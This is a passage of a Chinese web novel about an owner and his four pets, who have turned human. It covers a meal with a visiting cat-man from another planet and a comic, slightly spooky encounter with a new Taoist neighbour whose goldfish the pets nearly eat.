汉堡难以置信地掐了一下身边的雪碧,听见他吃痛地嗷嗷叫,才惊觉会痛,这不是梦。
要知道汉堡有多想变回自己小小的身体,飞檐走壁到处玩,变成人之后他的身体又笨拙又重,还舔不到自己的屁股,令猫头疼。
他看着乔浓的眼里冒着崇拜的星星,满脸期待,直接倒戈向了他。
“喵喵喵!”他窜到乔浓面前,用手羡慕地扒拉他毛茸茸的猫耳朵。
“什么变魔术?这可是真的猫耳朵。”乔浓警告地瞪了他一眼,这猫顶着一张人脸自己面前狗腿子般地献殷勤,简直比科幻片还魔幻。
“你也是猫?”陈开心瞠目结舌,好久才找回自己的声音,这样他不过也是只变成人的猫,不是坏人。
“算是吧。”乔浓利索地收回猫耳猫尾,观察了四周,“这里不是说话的地方,去你们桌上说。”
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疼,肉太疼了,早知道乔浓是肚子饿了才拐弯抹角地让陈开心带他来到了餐厅位置上,陈开心说什么也不会客气地让他点餐。
他一个人,哦不,一只猫,吃了三份最贵的牛排!
陈开心看着他心满意足地微笑着,举止优雅地拿着刀叉切牛排,心里直在滴血。
那四个人围在乔浓身边,七嘴八舌地询问:“所以你来自猫咪星球,本来准备去植物星球的,结果时空穿梭器出了问题,你不小心来到了我们这里?”
“嗯哼。”乔浓认同地挑了挑眉,从可乐面前的碗里夹走了玉米。
可乐眼睁睁地看着玉米进了乔浓的肚子,委屈地和陈开心控诉:“那是主人给我拿的玉米,我还没吃。”
“傻狗,你不会再去拿吗?”汉堡咬牙切齿,一个肘击成功让他闭麦。
包子贴心地把自己碗里啃了一半的玉米也放到乔浓的碗里,继续好奇地追问:“那你还会回去吗?”
毕竟如果不回去的话,有个和他长得一模一样的猫在地球上,听起来蛮诡异的。
乔浓嘴角抽搐地看着碗里被啃的七零八落的玉米,他虽然爱吃玉米,可还没邋遢到喜欢吃别人的口水,哦,这不是别人,是平行时空的他自己。
他勉为其难地用叉子挑了一颗玉米粒咽下,不动神色地把剩下来的玉米棒扔到了意大利面堆里盖住,抬眼看包子,神色自然到像是没有发生过这些小动作:“当然,我得去找到我要找的人。”
“那人……”陈开心迟疑着开口,想到他在厕所见到自己时的那个表情,他想找到的人肯定对他很重要,“那人是你的爱人吗?”
乔浓手里的刀叉一顿,突然没了胃口。
“不是。”他佯装不在意地继续切牛排,不再看陈开心,“他有老公。”
“你撒谎!”猫猫对同类的情绪变化很敏感,脑子还不像人类弯弯绕绕地想着那么多人伦情理,汉堡皱着眉头直接戳穿了乔浓的谎话,“你爱他!”
乔浓脸上的笑容逐渐消失。
“汉堡!”陈开心看了眼乔浓的神情,低声怒斥一句,“我怎么教你的,要懂礼貌,别人不想承认的事怎么能当面拆穿呢?!”
他给雪碧使了个眼色,让他控制一下汉堡,雪碧得到主人的指示,随口叉了个番茄塞到汉堡的嘴里,惹他“呸呸呸”了两声,吐出了番茄。
“不知道咪讨厌所有的番茄吗?”他报复性地挠着雪碧的咯吱窝惩罚他,连两边的可乐和包子都被他们夸张的动作波及到了。
手腕上的对讲器在嘀嘀嘀地响,乔浓知道这是下属在通知他时空穿梭器已经修好了,他可以离开了。
他拿起餐布擦了擦嘴,刻意回避了陈开心阴阳怪气的话,起身告辞:“谢谢你们的款待,我该走了。”
刚认识的新
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朋友就要分开,汉堡停止了打闹,抓着他的袖子挽留他:“你不能和我们玩一会儿再走吗?”
乔浓从他手里抽出袖子,笑着婉拒:“我要找的人在等我。”
陈开心清楚乔浓虽然也是只猫,但本质上和汉堡他们还是有些不同的,乔浓是具有人类思想的猫人,心性和人类无二,对于一个刚认识的陌生人,要打开他的心扉谈何容易。
“那……”他站起身,向前轻轻抱了一下乔浓又放开,“祝你早日找到那个我。”
美好真挚的祝福,配合着陈开心那张熟悉的面容,让乔浓心里不由得一酸。
“谢谢。”他弯下腰,右手牵起陈开心的手,在他手背上深情印上了一吻,可能只有在这里,他才能如此赤裸地表达自己的感情。
“也祝你们幸福。”他松开陈开心的手。
简简单单的,平安顺遂地过完这一生就好。
陈开心回头看了看身后和乔浓依依不舍的小家伙们,神色温柔,像极了乔浓记忆中的那个人。
乔浓失落地垂下眼皮,拄着拐杖转身往前走了两步又突然停住脚步。
他侧过头,对着身后目送他的陈开心轻声开口:“也许你说得对,我很爱他,只是我不愿承认罢了,我找到他后,我绝对不会再让步的。”
再抬脚,乔浓迈着坚定的步伐,穿着屁股后面露出裤衩子的裤子离开了。
“他走了。”汉堡等看不到乔浓的背影后,神情有些落寞,“虽然他和包子长得一样的脸,但是比包子可爱多了。”
被戳到了敏感词,原本心里还充斥着淡淡忧伤的包子一秒炸毛:“我一点儿都不可爱!”
汉堡努努嘴,偏要在他雷区上蹦跶:“哪里,你气鼓鼓的样子就很可爱啊。”
“就是就是。”可乐火上加油,趁机捏了捏包子肉嘟嘟的脸,“多可爱,像颗白白的包子。”
得,捅了猫屁股了,一猫战三雄,被牵连在“团建”中的雪碧表示自己很无辜。
“好了好了。”陈开心安抚地揉了揉包子的头发,又撸着汉堡的后颈帮他顺毛,“你们不是喜欢玩那个旋转门吗?快吃完,趁着人家还没关门,我们下去玩啊。”
“好诶!”得了主人的允许,猫猫狗狗猪猪瞬间安静下来干饭。
趁他们吃饭的功夫,陈开心去结账,却被告知已经结完了。
“结完了?”他不敢置信地拿着菜单翻来覆去地看,几千块的饭钱谁会帮他结?不会是别的客人结错桌号了吧?
服务员再三确认两遍:“没错,是结完了,一个裤子后面坏了个洞的男人过来结的,喏,就是你们那桌那个人,不过奇怪,他刚刚穿的不是这件衣服啊?”
陈开心顺着他手指的方向看去,视线尽头是埋着头努力干饭的包子。
他眼角忍不住湿润了。真是,这个叫乔浓的男人还真是……别扭的可爱。
27.新搬来的邻居
难得大家一起出来一趟,陈开心带着他的四个宠物,一头扎进市中心的霓虹与人潮里,直到华灯初上,夜色如墨汁般彻底浸染天空,他们才惊觉已是晚上十点。
“完了完了,末班车!”包子第一个跳起来,他那双圆溜溜的眼睛在夜色里瞪得更大,像两颗受惊的绿玻璃弹珠。他本质是只波斯猫,此刻酒意微醺,动作带着点猫科特有的慵懒和突然的敏捷。
陈开心揉了揉有些发胀的太阳穴,看着眼前四个东倒西歪,脸颊泛红的家伙。
今天带他们出来本意是添置些换季衣物,结果路过一个装饰得花里胡哨的果酒小摊,摊主巧舌如簧,哄得几个从没沾过酒精的小家伙晕头转向。
“尝尝嘛,都是水果酿的,度数低得很,跟果汁一样!”
一个口味接一个口味尝过去,荔枝的甜腻、青梅的酸爽、杨梅的醇厚……陈开心一个没拦住,这几个“好奇宝宝”就每样都灌了小半杯下去。
后果显而易见。
雪碧豪气干云地拍出自己的五百块零花钱:“好喝!老板,每样再来一瓶!不,两瓶!”
于是,十瓶花花绿绿的果酒就落在雪碧怀里,成了他此刻甜蜜又沉重的负担。
汉堡和包子走路已经开始画八字,可乐更是直接黏在陈开心身上,毛茸茸的脑袋蹭着他的颈窝,发出满足的咕哝声,像只超大号的暖手宝。
“幸好没开车……”陈开心暗自庆幸。
市中心晚高峰的拥堵名不虚传,加上这几个醉猫醉狗,要是开车,今晚怕是得在局子里过了。
他半搂半抱着软成一滩泥的可乐,招呼着前面两个还在试图走直线的家伙:“走了走了,公交站台就在前面,赶不上末班车,我们就得露宿街头了!”
挤上人已经不多的末班公交车,清凉的空调风也没能完全驱散他们身上的酒气和热气。
汉堡和包子找了个后排双人座,头抵着头,很快发出了轻微的鼾声,偶尔还吧唧一下嘴,似乎在梦里回味那果酒的滋味。
雪碧抱着他的“宝贝”酒瓶,警惕地环视四周,仿佛抱着稀世珍宝。可乐则全程挂在陈开心身上,热烘烘的呼吸喷在他耳边,带着果酒的甜香,让陈开心也有些昏昏欲睡。
摇摇晃晃近一个小时,终于在他们居住的小区附近的公交站台下了车。
一踏上人行道,夏夜的晚风带着白日残留的余温和草木的清新气息扑面而来。这本该是令人舒畅的,但对于几个酒精上头的家伙来说,这轻柔的风却像催化剂,瞬间将车厢里压下的那点微醺发酵成了更浓的醉意。
“嗷呜——”汉堡突然怪叫一声,挣脱陈开心的手,拉着包子蹦上绿化带边缘窄窄的石板路。
“石头剪刀布!谁赢谁先走!”他嚷嚷着,舌头有点打结。
包子也来了兴致,两人就在那仅容一足的窄路上摇摇晃晃地猜起拳来,赢了就得意地往前跳一步,输了就懊恼地跺脚,活像两个心智只有三岁的幼稚园小朋友,石板路旁低矮的灌木丛被他们蹭得沙沙作响。
雪碧抱着十瓶酒,像个忠诚又有点滑稽的侍卫,亦步亦趋地跟在后面,还一本正经地当起了裁判:“汉堡出布!包子出石头!汉堡赢!前进一步!……哎包子你慢点,别掉下去!”
他那张总是带着憨厚笑容的脸,此刻在昏暗路灯下显得格外认真。
陈开心看着这混乱又充满生机的队伍,无奈地笑了笑,晚风吹拂着他额前的碎发,也吹散了部分疲惫。
他半搂半抱着依旧黏人的可乐,可乐几乎把全身重量都压在他身上,毛茸茸的脑袋在他颈窝蹭来蹭去,嘴里含糊地嘟囔着:“开心……回家……睡觉……”
陈开心只好用一只手环住他的腰,另一只手轻轻拍着他的背,像哄一只巨型犬。
“慢点走,不着急。”他的声音在夜色里显得格外低沉温柔,带着一种被依赖的满足和淡淡的宠溺。
一行人就这样以极其缓慢且不规则的队形,在晚风与星光下,朝着那个名为“家”的温暖巢穴,散漫地挪动着。
终于,熟悉的那幢居民楼出现在视野里。楼道的感应灯昏黄,映照着门口不同寻常的景象。
一辆蓝白相间的“货拉拉”面包车停在那里,后车厢门大敞着。几个穿着统一工服的搬家工人正趁着夜晚的凉意,忙碌地从车上卸下大大小小的纸箱和几件用泡沫包裹严实的家具。
空气里弥漫着一股淡淡的尘土和汗水混合的味道。
陈开心下意识多看了两眼,借着车厢内的灯光和楼道的光线,他清晰地看到车厢深处堆叠着几个特殊的纸箱。
其中一个敞开的箱子里,赫然是满满当当,粗如儿臂的红色蜡烛,烛泪凝固在表面,显得古老而肃穆。旁边是一个用软布半盖着的物件,看那露出的暗红色一角以及繁复的雕花,分明是一个红木制成的香案台。还有几个箱子上印着“易碎”标识,从缝隙里能看到青瓷质地的香炉轮廓。
“啧,新搬来的?家里有老人信佛啊?”陈开心心里嘀咕。
这种全套的烧香拜佛家什,在年轻人居多的公寓楼里可不多见。他本能地觉得这新邻居可能有点“讲究”,赶紧朝前面还在绿化带边缘玩得不亦乐乎的汉堡和包子喊道:“汉堡!包子!别在那儿看了,快过来!当心挡着人家干活!”
“哦……”汉堡不情不愿地应了一声,拉着包子跳下石板路,但眼睛还是忍不住好奇地瞟向那辆装满“奇怪”东西的车。
被陈开心拽着的可乐也努力扭过头,湿漉漉的鼻尖耸动着,好奇地问:“开心……他们在干嘛呀?”
他的声音带着浓浓的鼻音和醉意,眼神迷蒙。
“搬家呢。”陈开心言简意赅地回答,同时看到旁边那部电梯门口堆满了搬家用的家具和箱子,显然是被占用了,他果断按下另一部电梯的上行按钮。
“搬家?”汉堡皱起了眉头,圆圆的脸上满是不解,“为什么搬家?家……不就是家吗?为什么要搬来搬去?”
他从小被陈开心捡回来,在这个屋檐下长大,从未经历过挪窝,家对他而言,是固定的温暖巢穴,是安全感的全部来源。包子和可乐也投来同样困惑的目光,雪碧抱着酒瓶,若有所思地点点头,又摇摇头,显然也没想明白
陈开心看着他们懵懂的眼神,心里泛起一丝柔软和酸楚。
是啊,这些小家伙们从出生睁开眼,看到的就是他和这个家。对他们而言,搬家是陌生而不可理解的概念,人类尚且需要时间适应新环境,何况是天生对环境变化敏感的小动物?
“因为……”电梯门“叮”一声打开,陈开心示意大家进去,按下自家楼层,“因为原来的家可能住不下去了啊。也许房租涨了,付不起了,就得找个更便宜的地方。也许换了新工作,离得太远,每天通勤太累,就得搬个近点的。或者……也可能只是单纯想换个环境。”
他走进电梯,一边解释着,一边习惯性地按关门键。
电梯门缓缓合拢,金属门缝里透出的楼道光线越来越窄。就在门即将完全关闭的最后一刹那,一个急促的男声伴随着杂乱的脚步声由远及近:“等等!等等!麻烦等一下!”
陈开心下意识地伸手挡住了感应区,电梯门听话地重新滑开。
一个穿着花哨夏威夷风短袖衬衫的男人气喘吁吁地冲了进来。
他看起来三十岁上下,身形有些瘦削,跑得满头大汗,一手抓着一个看起来颇为古旧的桃木剑,那剑柄雕着粗糙的兽头,剑身刻着些弯弯曲曲的符文,与他的花衬衫搭配在一起,透着一股强烈的不伦不类感。
更引人注目的是他背上背着一个宠物专用的黑色航空箱,箱体随着他的跑动剧烈地晃荡着,里面传出清晰的水声。
陈开心这才看清,那航空箱里装的并非猫狗,而是一个小巧的圆形玻璃鱼缸。几条通体金红色,鳞片在电梯灯光下闪着细碎光芒的小鱼,正在清澈的水中惊慌失措地上下游动,水花因为刚才的
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颠簸溅湿了男人的后背和一小片电梯地面。
“谢谢!谢谢啊哥们儿!”男人挤进电梯,站在了最前面,背对着众人,大口喘着粗气,一手扶着电梯壁,一手还紧紧攥着那把桃木剑。
他背上航空箱里的水仍在微微晃荡,折射着顶灯的光,像一小片流动的碎金。
“不客气。”陈开心礼貌地点点头,同时好像感觉到站在他身后的汉堡身体瞬间绷紧了。
电梯空间本就狭小,五个人加一个背着大鱼缸的男人,更显拥挤。男人手里那把桃木剑似乎总是不经意地往陈开心这边倾斜,剑尖几乎要戳到他胳膊。
陈开心微微蹙眉,不动声色地往旁边让了让,那剑却像有意识般,又稍稍偏了过来。一丝极淡的,类似寺庙里那种陈年香火的气息,混合着男人身上的汗味和鱼缸的水腥味,飘进陈开心的鼻腔。
他压下心头升起的那点莫名的不安,想起刚才被打断的话题,决定继续给小家伙们“打预防针”:“所以啊,搬家的原因有很多很多。在大城市里,能像我们这样在一个地方安安稳稳住上好几年,其实已经是很幸运的事了。”
他的声音在密闭的电梯里显得有些低沉,带着一种过来人的感慨。
“更多的人,可能因为各种各样的原因,总是在不停地搬家,从一个地方搬到另一个地方,像浮萍一样,为了生活奔波,为了能在这个城市有个小小的立足之地努力挣扎着。”
他顿了顿,想到自己也曾经历过找房和搬家的辛苦,以及维持这个“小家”的不易,语气里不自觉地带上了一丝沉重。
“可能……我们以后,也会有需要搬家的一天。” 他轻叹了口气,算是提前给这四个无忧无虑的小家伙吹吹风,让他们有点心理准备,“到时候,你们可别太难过。”
预想中汉堡“不要搬家”的抗议或者雪碧“我们会保护家”的豪言壮语并没有出现,身后一片诡异的安静。
陈开心只听到航空箱里轻微的水声,以及男人略显粗重的呼吸。看来小家伙们真的被“可能要搬家”的消息打击到了,连平时最闹腾的汉堡都没吱声。陈开心心里有点不是滋味,但同时也松了口气,安静点也好。
“叮咚。”电梯到达了他们居住的楼层。清脆的提示音打破了沉默。
电梯门刚打开一条缝,那背着鱼缸的花衬衫男人便动作敏捷地侧身挤了出去,径直左转,朝着陈开心家对面的那扇一直空置的房门走去。
就在他即将消失在转角时,他突然停下脚步,转过头,目光精准地投向电梯内的陈开心。
那眼神极其复杂,带着几分了然于胸的促狭,一丝毫不掩饰的嘲讽,嘴角甚至还勾起了一抹意味深长的笑意。
这笑容非但不友好,反而让陈开心感到一阵莫名的寒意,仿佛自己刚才在电梯里的“高谈阔论”和内心的隐秘担忧都被对方一览无遗。
陈开心被他看得心里发毛,不明所以地眨了眨眼,下意识地避开了那探究的目光。电梯门在他面前缓缓合拢,隔绝了那个诡异的眼神。
他摇摇头,驱散心头那点异样感,带着点催促地对还挤在电梯角落里的四个家伙说:“发什么呆呢?到家了,快出来!”
他率先转身,掏出钥匙,朝着右边自家的房门走去。
钥匙插进锁孔,转动,发出清脆的“咔哒”声。陈开心推开门,一股熟悉的味道扑面而来。
他舒服地吸了口气,回头招呼:“快点进来,洗洗睡了,明天……”
话说到一半,他愣住了。
身后空空如也,电梯门还开着,感应灯亮着,那四个家伙竟然还挤在电梯角落里,围成一个小小的圆圈,脑袋几乎抵在一起,蹲在地上,正压低了声音,窸窸窣窣地不知道在搞什么鬼名堂。
他刚才开门的动静都没惊动他们!
一股不祥的预感瞬间攫住了陈开心,他三步并作两步冲回电梯口,居高临下地看着那四个撅着屁股,鬼鬼祟祟的背影。
28.诡异的邻居家
只听见汉堡急不可耐,声音带着点猫科动物特有的兴奋嘶嘶声:“我抓的!是我先看到的!给我吃!”
“啪!”
一声清脆的拍打声响起,伴随着可乐义正辞严,虽然还带着醉意但逻辑异常清晰的低吼:“不行!见者有份!法律……呃,家规规定!公平分配!”
包子慢悠悠开口,慵懒且残忍天真的声音响起,充当着和事佬:“急什么呀?还没玩死呢,等死了再吃也不迟嘛,活着多蹦跶几下才有趣。”
雪碧则用他那标志性的,听起来无比真诚实则蔫儿坏的语调插话:“说得对,说得对。而且我现在肚子还很撑,刚喝了酒,真吃不下了。”
他甚至还象征性地打了个小小的酒嗝。
吃?玩死?陈开心的心猛地一沉,血液似乎都凉了半截。
他一把揪住离他最近的可乐的后衣领,像拎一只不听话的大型犬一样把他往旁边提溜开,强行在那个密不透风的小圈子里撕开一道口子。
巴掌大的电梯地面上,一条半个巴掌大小,通体金红,鳞片黯淡无光的小鱼,正侧躺在冰冷的不锈钢地板上,鱼鳃艰难地开合着,尾巴偶尔神经质地抽搐一下,显然已经到了弥留之际。
空气里弥漫着一股淡淡的水腥味和鱼类的微弱腥气。
而汉堡和可乐正激烈地争夺着另外一条同样金红色,生命力似乎更顽强一些的小鱼。那条小鱼被四只手捏得紧紧的,徒劳地甩动着尾巴,鱼嘴一张一合,惊恐地吐着泡泡。
这两条鱼……那闪耀的金红色鳞片……那小巧的体型……
陈开心的脑子“嗡”的一声,仿佛被重锤狠狠砸中!这不就是五分钟前,在那个新邻居背上背着的航空箱鱼缸里,欢快游动的那几条鱼中的两条吗?!它们怎么会出现在这里?还落得如此凄惨的下场?!
一瞬间,所有被他忽视的细节在他脑海里炸开。男人意味深长的眼神,他背上晃荡的鱼缸,汉堡在电梯里异常的兴奋,四个家伙反常地安静……还有他们刚才讨论的“抓”,“玩死”,“吃”……
天旋地转,陈开心只觉得眼前一黑,脚下发软,恨不得当场用脚趾在电梯的不锈钢地板上抠出一个三室一厅,再把自己深深地、永久地埋进去。
有什么比自己背后议论新邻居的窘迫处境结果被当事人当场抓包更尴尬的事吗?
有!
那就是你家的猫猫狗狗,趁着你没注意,把人家的宠物鱼给捞出来玩得快死了,还计划着分而食之!
更尴尬的是,陈开心刚刚还大发慈悲帮人家按了电梯门,亲手把背着鱼缸的邻居送到了自家这群馋嘴的小祖宗面前。
这哪是好心帮忙啊,这简直就是请他们吃了一顿免费的,送货上门的“自助鱼”。
“陈开心啊陈开心!你是被酒精泡傻了吗?!你怎么就忘了汉堡和包子是猫!是猫啊!猫见鱼走不动道儿是天性!雪碧是猪,可乐是狗,猪狗也馋啊!你怎么能把鱼送到他们嘴边啊!”
陈开心内心发出无声又绝望的呐喊,仿佛有一万头羊驼在他脑子里狂奔而过,还自带《男人哭吧哭吧不是罪》的BGM。
他颤抖着,几乎是带着一种殉道般的悲壮,蹲下身,小心翼翼地从汉堡和可乐的“魔爪”中抢救下那条还在挣扎的鱼。
冰凉滑腻的触感让他指尖发麻,他又用另一只手,极其轻柔地捧起地上那条已经翻起肚皮,只有鱼鳃还在微弱翕动的可怜小鱼。两条曾经鲜活的小生命,此刻在他掌心只剩下微弱的生命力,鳞片上的金光仿佛都黯淡了。
汉堡不满地“喵呜”了一声,包子舔了舔嘴唇,雪碧眼神飘忽,可乐则一脸无辜加委屈地看着他。
陈开心看着他们懵懂又带着点渴望的眼神,再看看手里奄奄一息的小鱼,只觉得一股巨大的无力感和荒谬感席卷全身。
他深吸一口气,强压下把四个家伙当场揉搓一顿的冲动,从牙缝里挤出一句话:“回家待着!没我的允许,谁也不准出来!”
一刻钟后。
陈开心家的客厅笼罩在一片低气压中。汉堡,包子,雪碧,可乐四个排排坐在沙发上,垂着头,大气不敢出。
茶几上,两个盛着清水的小碗里,躺着那两条金红色的小鱼。一条已经彻底僵硬,肚皮朝上。另一条也奄奄一息,只有尾巴尖偶尔极其轻微地晃动一下。旁边放着雪碧那五百块买来的十瓶果酒,此刻像是一堆无声的罪证。
陈开心换下沾着酒气和鱼腥味的T恤,洗了把脸,试图让自己冷静下来。他看着碗里的小鱼,再看看对面紧闭的,属于新邻居的大门,感觉那扇普通的防盗门此刻如同地狱之门般沉重。
逃避解决不了问题,鱼死了,还是被自家宠物祸害死的,必须给人家一个交代。
他深吸一口气,仿佛要上刑场。
陈开心找出一个干净的小塑料盒,小心翼翼地将两条小鱼连同一点清水舀了进去。想了想,又从冰箱里拿了一盒自己都舍不得吃的高级进口车厘子,这是他此刻能想到的最体面,最诚恳的“赔罪礼”了。
捧着这个装着“鱼尸”和“赎金”的盒子,陈开心一步一步挪到对门。走廊的感应灯因为他沉重的脚步而亮起,惨白的光线照着他脸上视死如归的表情。
他站在那扇紧闭的门前,仿佛能听到门内隐约传来一种低沉的,类似诵经的声音。还有一丝若有若无的、比电梯里更浓郁的檀香味飘散出来。
他做了整整五分钟的心理建设,脑海里闪过无数种对方可能的反应:暴跳如雷?索要天价赔偿?报警?或者……对方是个深藏不露的“大师”,拿出那把桃木剑给他来个“驱邪”?
最终,责任感和愧疚感战胜了恐惧,陈开心闭上眼,心一横,伸出微微颤抖的手指,按响了那个仿佛会带来审判的门铃。
“叮咚——”
清脆的铃声在寂静的楼道里回荡,如同敲响了命运的钟摆,门内那低沉的诵经声似乎停顿了一下。
陈开心屏住呼吸,感觉自己的心跳声大得如同擂鼓,等待着门后未知的反应,等待着这场由好奇心和猫狗天性共同引发的“自助餐”闹剧,最终会迎来怎样的收场。
那扇紧闭的门仿佛连接着两个截然不同的世界,而陈开心正捧着两条小鱼的亡魂和一颗七上八下的心,站在了门前。
门铃那清脆带着点催促意味的“叮咚”声,仿佛敲打在陈开心紧绷的神经上。一秒,两秒……十秒……半分钟过去了,门内依旧一片死寂,只有他自己越来越响的心跳声在耳膜里鼓噪。
那扇仿佛隔绝着未知世界的防盗门,纹丝不动。
陈开心捧着那个装着两条小鱼“遗体”和车厘子“赎金”的塑料盒,手心沁出的冷汗几乎要把盒子边缘打湿。他几乎要怀疑刚才那个意味深长的眼神和诵经声只是自己过度紧张产生的幻觉。
就在他犹豫着要不要再按一次,或者干脆落荒而逃,把
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烂摊子留给明天时,“咔嗒”一声,金属咬合感的解锁声,突兀地从门锁内部传来。
陈开心的心脏猛地一跳,像是被那声音攥住了。
门……开了?
但仅仅是开了一条缝,没有预想中门被大力拉开的情景,也没有邻居那张带着嘲讽或愤怒的脸出现。
那扇厚重的防盗门,仿佛是被一只无形的手轻轻拨动,又像是门轴自己生涩地转动,极其缓慢地朝内滑开了大约二十公分的宽度。
走廊昏黄的感应灯光,迫不及待地挤进那道缝隙,在门口的地砖上投下一道狭长的,边缘模糊的光带。
门后面空无一人,只有一片浓得化不开的,如同墨汁泼洒般的黑暗。
一种比楼道里微凉的空气更低的隐隐湿寒,正从那门缝里丝丝缕缕地渗透出来,扑在陈开心裸露的胳膊上,激起一层细小的鸡皮疙瘩。
陈开心僵立在门口,下意识地后退了小半步,他踮起脚尖,脖子努力向前伸,试图让自己的视线越过那道狭窄的门缝,穿透那片深沉的黑暗,看清屋内的情形。
可什么也看不见,那黑暗纯粹而彻底,走廊的灯光像被一只贪婪的巨口吞噬,仅仅照亮门口方寸之地,再往里便是伸手不见五指的虚无,像一个深不见底的洞穴入口。
就在陈开心屏息凝神,几乎要放弃窥探时,一丝微弱却清晰的声音,从那片浓稠的黑暗深处飘了出来。
“沙沙……沙沙……”
一种极其轻微,干燥的摩擦感,像是很多张薄脆的纸张被持续地摩挲着。声音很规律,不快不慢,在绝对的寂静中显得格外清晰,甚至有些刺耳。它似乎就在房间的某个角落,距离门口不远也不近。
这“沙沙”声非但没有带来人存在的证明感,反而让眼前的景象更加诡异。一个刚刚搬来的邻居,不开灯,不开门迎接,只让门自动解锁敞开一道缝,屋里漆黑一片,深处却传来莫名的纸张摩擦声……
陈开心脑子里不受控制地闪过白天在楼下货拉拉车厢里看到的那些红烛,香案,香坛,还有邻居手里那把不伦不类的桃木剑以及他最后那个难以捉摸的眼神。
一股寒意顺着脊椎骨悄然爬升。
他捧着盒子的手更紧了,指尖因为用力而泛白。塑料盒里那两条小金鱼僵硬的身体在浅浅的水中微微晃动。
道歉?赔偿?此刻这些念头都被一种更原始的不安所淹没。这扇只开了一条缝,后面连接着无尽黑暗的门,更像一个择人而噬的洞口。
一个沉默地敞开,内里却潜藏着未知的秘密,正用那“沙沙”的低语引诱着,等待着猎物因好奇或责任而踏入的洞口。
陈开心站在光与暗的交界线上,走廊的暖黄灯光笼罩着他半个身子,而门缝里溢出的寒意和黑暗则包裹着他的另一半。
他进退维谷,硬着头皮对着那片黑暗喊一声。
“你好,有人吗?”
是踏入这令人心悸的未知?还是放下盒子,写张纸条塞进去,然后立刻逃回自己那个虽然吵闹但至少熟悉安全的家?
那持续不断的“沙沙”声,像某种黑暗生物的呼吸,又像无数只小虫在啃噬着什么东西,固执地钻进他的耳朵,挑动着每一根紧绷的神经。他甚至能想象出,在黑暗深处或许有一双眼睛正透过这浓墨般的黑暗,无声地注视着他踌躇不前的窘态。
冷汗终于沿着陈开心的额角滑落下来,滴落在手中那个小小的鱼盒上。
29.小道士
门铃足足响了漫长的一分钟,陈开心站在门外,掌心渗出一层薄汗,粘腻地贴在门铃冰凉的塑料壳上。走廊惨白的顶灯只照亮他脚下的一小块地砖,其余地方都沉在灰蒙蒙的暗影里,这持续不断的噪音在过分安静的楼道里显得格外刺耳,带着一种近乎咄咄逼人的催促。
终于,就在他几乎要放弃,手指准备离开那该死的按钮时,门锁内部传来一声极其轻微的金属咬合声。
“咔嗒”,门……开了。
没有预想中的人影,没有灯光,门缝里只有一片浓得化不开的漆黑扑面而来。一股若有似无的气息随之飘出,陈旧纸张的霉味混杂着某种干燥的草木灰烬气味。
陈开心下意识地屏住呼吸,心脏在胸腔里沉沉地撞了一下。
他迟疑地踮起脚尖,怒力朝那片深邃的黑暗中望去,却什么也看不见,然而就在这死寂般的黑暗深处,一种极细微的声响钻入了他的耳朵。
沙……沙沙……
像是某种粗糙的纸页在缓慢地相互摩擦,带着一种令人牙酸的滞涩感,声音断断续续,忽近忽远,却固执地存在着。在走廊那点可怜灯光的映衬下,这扇仅仅开了一条缝的门,活脱脱就是一个幽深洞口,无声地敞开着,等待着猎物自投罗网。
一股寒意顺着陈开心的脊椎迅速爬升,汗毛根根倒竖。他猛地向后退了一步,脚跟撞在冰冷的走廊瓷砖上,发出轻微的声响。
回家!这个念头无比强烈。
“嘘!别吵!” “主人怎么啦?” “快看快看!”
细碎而熟悉的嘀咕声瞬间拉回他的神志,陈开心转身,只见自家那扇贴满了卡通贴纸的门缝后,四双亮晶晶的眼睛正排成一溜,像一串小灯泡,紧张又好奇地追随着他的一举一动。
汉堡的圆脸几乎要挤出缝隙,包子的耳朵高高竖起,雪碧努力踮着后脚,可乐则把湿漉漉的黑鼻头紧紧贴在门缝下沿,呼出的白气在冰冷的金属门框上凝成一小片模糊的水雾。
他们全都屏息凝神,眼神传递着担忧和询问。
陈开心无声地朝他们做了个口型,嘴唇夸张地开合:“有点吓人。”
门缝后的眼睛们瞬间瞪大了,汉堡立刻抬起两只手,笨拙地交叠,对着陈开心比划出一个歪歪扭扭的巨大心形,目光热切得几乎要燃烧起来:“喵呜!你可以的!你不是天天鼓励我们要勇敢吗?”
“对呀对呀,要勇于承认错误。” 雪碧语调拖得长长的,斜了汉堡一眼,阴阳怪气,“也不知道是谁不勇敢,让主人去替他认错。”
这话像根针,精准地扎在了旁边包子的痛处。它喉咙里立刻滚出一声不满的咕噜,模仿起人类掰手指的动作,把自己的手关节捏得“咔吧”脆响,绿眼里闪烁着“想打架”的光芒。
他扭头朝汉堡使了个眼色,汉堡心领神会,也发出威胁的低吼,两只小家伙一副要立刻冲出去“团建”雪碧的架势。
包子回头去喊可乐帮忙,却发现刚才还在门缝边的可乐不见了。
一个微微颤抖的身体,已经紧紧贴在陈开心的身后。
可乐不知何时溜了出来,此刻正努力挺起自己的胸脯,试图站得更直些,乌溜溜的大眼睛里写满了决心。
“我陪你!我不怕!我保护你进去!” 他信誓旦旦地打包票,声音响亮,只是尾音带着点不易察觉的颤。
鬼知道现在腿哆嗦成筛子的是谁?
狗狗当了主人的护花使者,猫猫和猪猪肯定不能被他给比下去,一个个自告奋勇地跑了过来。
“我也去!”“我也!”“还有我!”
一股暖流冲散了陈开心心头大半的寒意和疑虑,人多力量大,虽然初次拜访新邻居就拖家带口,声势浩大,显得有点……奇怪且失礼。
但转念想到此行的目的是给汉堡和包子这两个罪魁祸首当面向人家道歉,该认的错,该赔的礼,作为主人确实得拿出最大的诚意。
“好。” 陈开心深吸一口气,仿佛要把走廊里所有的勇气都吸进肺里。
他挺直脊背,带着一种近乎悲壮的决心,轻轻推开了那扇已经解锁的门扉。
“跟着我。”
他率先踏入了那片浓稠的黑暗之中,冰冷的地板透过薄薄的鞋底传来寒意。可乐立刻亦步亦趋地紧贴着他,身体微微发颤。雪碧和汉堡也收敛了打闹,警惕地竖起耳朵,跟在左右。雪碧则落在最后,小鼻子不停地嗅着空气中的陌生气息。
“有人吗?” 陈开心试探着开口,声音在死寂的空气中显得有些微弱。他扶着冰冷光滑的墙壁,摸索着向前挪动。
“有……有人吗?” 可乐缩头缩脑地躲在陈开心背后,眼睛死死闭着,只敢学舌般发出更小声的询问。
“啊啊啊!” 走在旁边的汉堡突然发出一声夸张的惊叫,猛地扑到可乐身上,两只前爪在他身上一通乱摸乱抓,整个人还故意往可乐那边蛄蛹着蹭,一副被吓破胆的样子。
“汪汪!!” 可乐瞬间炸毛,惊得原地跳起,拼命扒拉着想往陈开心身上爬,喉咙里发出变了调的嚎叫,“什么东西?!别摸!救命!”
